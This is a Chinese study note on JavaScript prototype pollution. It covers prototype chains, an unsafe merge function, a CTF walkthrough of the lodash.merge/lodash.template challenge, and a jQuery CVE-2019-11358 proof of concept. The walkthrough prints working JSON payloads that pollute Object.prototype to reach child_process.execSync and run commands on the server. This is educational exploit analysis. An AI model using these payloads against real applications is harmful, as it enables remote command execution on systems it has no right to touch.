0%

JavaScript原型链污染学习笔记

prototype__proto__

prototype

Javascript的类是通过构造函数创建的,而给类增加方法则需要使用prototype,类似于设计模式中的原型模式:

1
2
3
4
5
6
7
8
9
10
function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()

__proto__

prototype只能在类(换句话说,构造函数)上使用,如果想在实体化的类上使用则需要使用__proto__属性,即:

1
foo.__proto__.show == Foo.prototype.show

原型链继承

子类将其prototype赋值为一个父类对象实例,表示其继承父类。对于子对象的属性,若其不存在,则会递归查找其父对象,举例说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`) //输出Melania Trump

对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

原型链污染

考虑以下情况,如果使用son.__proto__.name="son",那么会造成daughter.name=son

uml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// son是一个简单的JavaScript对象
let son = {name: "mike"}

// son.name="mike"
console.log(son.name)

// 修改son的原型(即Object)
son.__proto__.name = "poison"

// 由于查找顺序的原因,foo.bar仍然是1
console.log(son.name)

// 此时再用Object创建一个空的zoo对象
let daughter = {}

// 查看daughter.name(daughter.name="poison")
console.log(daughter.name)

foo.__proto__==zoo.__proto__==object

发生场景

js中的merge、clone操作:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

利用方法

失败的利用:

1
2
3
4
5
6
7
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

成功的利用:

1
2
3
4
5
6
7
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

解释:
失败利用的__proto__实际上是使o2的__proto__{b:2},即o2.__proto__={b:2},这样for遍历时指挥遍历a,b,而不会遍历到__proto__

1556024722140

成功方法的JSON.parse会使o2的__proto__为一个普通的键名称,所以在let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')后o2的原型是没有b属性的,而在merge后会将o2的原型(object)增加一个b属性。

1556025479492

例题

参考p神出的Code-Breaking 2018 Thejs 题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//...
const lodash = require('lodash')
//...
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content) //source
let rendered = compiled({...options})

return callback(null, rendered)
})
})
//...

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

source,用户输入的body传入merge方法:

1
lodash.merge(data, req.body)

sink为lodash.template()和第8行:

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

Function(arg1,arg2,…,funcbody),可以建立一个匿名函数,举例子更好说明:

1556109443518

Function.apply(object, args)可以调用该函数,可以理解为object.function(arg1, arg2),args=[arg1, arg2],例如:

1556110289896

再解释一下attempt:

1
2
3
4
5
6
7
var attempt = baseRest(function(func, args) {
try {
return apply(func, undefined, args);
} catch (e) {
return isError(e) ? e : new Error(e);
}
});

可以看到attempt的输入参数是(func[,args]),考虑到js特性——假设function(arg1,arg2,arg3)定义的函数有三个参数,其调用时参数个数可以小于3,实际相当于func.apply,而真正发生调用是在第8行。

有缺陷的Payload

根据上面的分析,可以通过原型污染到object,使options也有sourceURL属性,构造出如下的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 192.168.70.138:8086
Content-Length: 198
Cache-Control: max-age=0
Origin: http://192.168.70.138:8086
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3377.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.70.138:8086/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"__proto__": {"sourceURL": "\u000areturn e => { return global.process.mainModule.constructor._load('child_process').execSync('uname -a')}\u000a//"}}

解释一下payload,e=>{return ...}是ES6的匿名函数创建语法,相当于

1
2
3
function(e){
return ...;
}

之所以将sourceURL的返回值定义为“另一个函数”,再由“另一个函数”返回系统命令执行结果,是因为原本的设计Function(importsKeys, sourceURL + 'return ' + source)中的source就是返回一个function的,因为现在提前return,考虑幂等原理,修改后的返回也要是function

执行结果如下

1556111648655

注意,ping命令不能用,因为nodejs没有权限,Content-Type需要改为json(nodejs默认接受json格式)。

优化payload

上面的payload已经可以攻击成功,但是存在一个弊端就是在程序重启之前,整个原型链都会受到污染带来的影响,导致后面用户因为原型已经被污染而无法获取正常服务:

1556973914607

需要用for循环把之前的污染删掉,这也就成了p神帖子里面的payload:

1
{"__proto__": {"sourceURL": "\u000areturn e => { for (var a in {}){delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('uname -a')}\u000a//"}}

题外话,当时没想清楚为啥在return之前删除可以在后面删除污染,实际上是一个简单的先后问题,即在request的时候,我们污染了sourceURL,接着造成代码执行(先),在执行时,污染源被清除(后),返回系统命令执行结果,这样之后的调用就不会受到原型链污染的影响了。

jQuery的原型污染(CVE-2019-11358)

jQuery 3.4.0以下版本(不包括3.4.0)存在原型污染漏洞。主要原因可以参考奇安信代码卫士的“jQuery CVE-2019-11358 原型污染漏洞分析和修复建议”一文。

Sink出现在src/core.js代码jQuery.extend函数的180-185行

1557061047384

180行是一个递归调用,这里可以看到extend()参数有deep,clone,copy三个,接着target[name]=copy中,如果name和copy可控的话就可以进行污染了。

这两个变量当然是可控的,向上看到155-160行:

1557061924872

arguments就是传进来的参数,先赋值给options,接着options的key就是name,value就是copy。

因此可以构造如下PoC:

1
2
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true

可以看到,之所以说jQuery原型污染的影响不大,是因为这是一个前端漏洞,即使有漏洞,攻击者也需要根据网站(源码审计)产生EXP,当然,如果网站依赖于某些类的某些属性/方法做身份验证或其他的什么事情(例如PoC里的devMode),那么后果还是很严重的。

参考链接